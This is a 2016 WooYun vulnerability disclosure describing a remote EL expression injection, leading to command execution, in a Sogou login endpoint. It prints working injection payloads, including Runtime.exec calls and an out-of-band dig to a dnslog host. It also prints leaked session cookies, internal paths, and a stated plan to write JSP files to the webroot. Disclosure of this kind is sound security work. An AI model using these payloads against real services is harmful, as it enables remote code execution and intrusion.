当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0195845

漏洞标题：搜狗某系统存在远程EL表达式注入漏洞(命令执行)

相关厂商：搜狗

漏洞作者： 猪猪侠

提交时间：2016-04-13 16:01

修复时间：2016-06-01 09:20

公开时间：2016-06-01 09:20

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-13： 细节已通知厂商并且等待厂商处理中
2016-04-17： 厂商已经确认，细节仅向厂商公开
2016-04-27： 细节向核心白帽子及相关领域专家公开
2016-05-07： 细节向普通白帽子公开
2016-05-17： 细节向实习白帽子公开
2016-06-01： 细节向公众公开

简要描述：

搜狗某系统存在远程表达式注入漏洞(命令执行)
EL表达式语法允许开发人员开发自定义函数，以调用Java类的方法

详细说明：

#1 漏洞地址

https://auth.p4p.sogou.com/login?service=${1000-900}


https://auth.p4p.sogou.com/login?service=${pageContext}
action="/login?service=com.caucho.jsp.PageContextImpl@2aaf3a58" method="post">


#2 表达式执行后的结果返回在页面

expcetion.png


获取web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
file:/opt/local/resin/

https://auth.p4p.sogou.com/login?service=${requestScope}
{javax.servlet.jsp.jstl.fmt.locale=zh_CN, org.springframework.validation.BindingResult.credentials=org.springframework.webflow.mvc.view.BindingModel: 0 errors, flashScope=map[[empty]], flowExecutionUrl=/login?service=%5BLjava.lang.String%3B%40660b2cde, warnCookieValue=false, javax.servlet.forward.servlet_path=/login, org.springframework.web.servlet.support.RequestContext.CONTEXT=Flow ApplicationContext [login]: startup date [Tue Apr 12 21:38:02 CST 2016]; parent: WebApplicationContext for namespace 'eunomia-servlet', org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE=WebApplicationContext for namespace 'eunomia-servlet': startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, caucho.forward=true, javax.servlet.forward.request_uri=/login, javax.servlet.forward.query_string=service=${requestScope}, loginTicket=LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m, javax.servlet.forward.context_path=, phoneValidationModel=com.sogou.bizdev.eunomia.validation.phone.PhoneValidationModel@2da91c3c, org.springframework.web.servlet.FlashMapManager.OUTPUT_FLASH_MAP=[Attributes={}, targetRequestPath=null, targetRequestParams={}], flowRequestContext=[RequestControlContextImpl@4bab0382 externalContext = org.springframework.webflow.mvc.servlet.MvcExternalContext@4873729d, currentEvent = viewAcountLogin, requestScope = map[[empty]], attributes = map[[empty]], messageContext = [DefaultMessageContext@1369c694 sourceMessages = map[[null] -> list[[empty]]]], flowExecution = [FlowExecutionImpl@56c2881 flow = 'login', flowSessions = list[[FlowSessionImpl@7fd72fee flow = 'login', state = 'accountViewLoginForm', scope = map['phoneValidationModel' -> com.sogou.bizdev.eunomia.validation.phone.PhoneValidationModel@2da91c3c, 'loginTicket' -> 'LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m', 'service' -> ${requestScope}, 'credentials' -> [username: null], 'warnCookieValue' -> false, 'ticketGrantingTicketId' -> [null], 'viewScope' -> map['commandName' -> 'credentials']]]]]], viewScope=map['commandName' -> 'credentials'], javax.servlet.jsp.jstl.fmt.localizationContext=org.springframework.web.servlet.support.JstlUtils$SpringLocalizationContext@88bf3d4, org.springframework.web.servlet.DispatcherServlet.LOCALE_RESOLVER=org.springframework.web.servlet.i18n.CookieLocaleResolver@1c34e7ae, org.springframework.web.servlet.DispatcherServlet.CONTEXT=WebApplicationContext for namespace 'eunomia-servlet': startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, org.springframework.web.servlet.DispatcherServlet.THEME_RESOLVER=org.jasig.cas.services.web.ServiceThemeResolver@55565ef9, flowExecutionKey=e110s1, service=${requestScope}, commandName=credentials, encodingFilter.FILTERED=true, credentials=[username: null]}


https://auth.p4p.sogou.com/login?service=${header}
{Upgrade-Insecure-Requests=1, Accept-Language=zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4, Cookie=SUV=1446734204911570; IPLOC=CN4401; SUID=BA5782774FC80D0A00000000563B6987; pgv_pvi=3484909568; sct=4; LSTMV=703%2C260; LCLKINT=108193; CXID=5CE9FE68778002DCEC30C2A9412EBA10; GOTO=; ad=3wENElllll2Q7p51lllllVtpqM7lllllNcJUWlllll9lllllxTDll5@@@@@@@@@@; _euid=75841017-9d86-4069-9421-d077bd8489ef; JSESSIONID=abcN1iKReDhPacJcOLoqv; session_id_agent_crm=8a089ef7-44bf-493b-81bc-45a327cf03ec, Host=auth.p4p.sogou.com, PROXY_ADDR=10.149.29.104, Accept-Encoding=gzip, deflate, sdch, X-Real-IP=119.130.85.119, X-Forwarded-For=*******, User-Agent=, Connection=close, Accept=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8}

漏洞证明：

EL表达式参考
http://www.cnblogs.com/xdp-gacl/p/3938361.html
利用方式1

${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\u0027ifconfig\u0027).getInputStream())}


#3 执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("dig sougou.99fd5e.dnslog.info",null).getInputStream())}
CloudEYE:

13-Apr-2016 18:42:50.858 queries: client 208.69.37.21#19674 (sougou.99fd5e.dnslog.info): query: sougou.99fd5e.dnslog.info IN A -E (128.199.200.236)
13-Apr-2016 18:42:53.876 queries: client 208.69.37.17#53756 (sougou.99fd5e.dnslog.info): query: sougou.99fd5e.dnslog.info IN A -E (128.199.200.236)


读取 ${sessionScope}, 获取a=InputStream的回显内容，a=java.io.BufferedInputStream@4d778271
获取WebROOT
https://auth.p4p.sogou.com/login?service=${applicationScope}

javax.servlet.context.tempdir=/opt/app/eunomia/WEB-INF/tmp,
org.springframework.web.context.WebApplicationContext.ROOT=Root WebApplicationContext


然后就用命令向这个目录/opt/app/eunomia/ 写jsp文件了

修复方案：

#4 校验客户端的变量

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-17 09:18

厂商回复：

感谢支持

最新状态：

暂无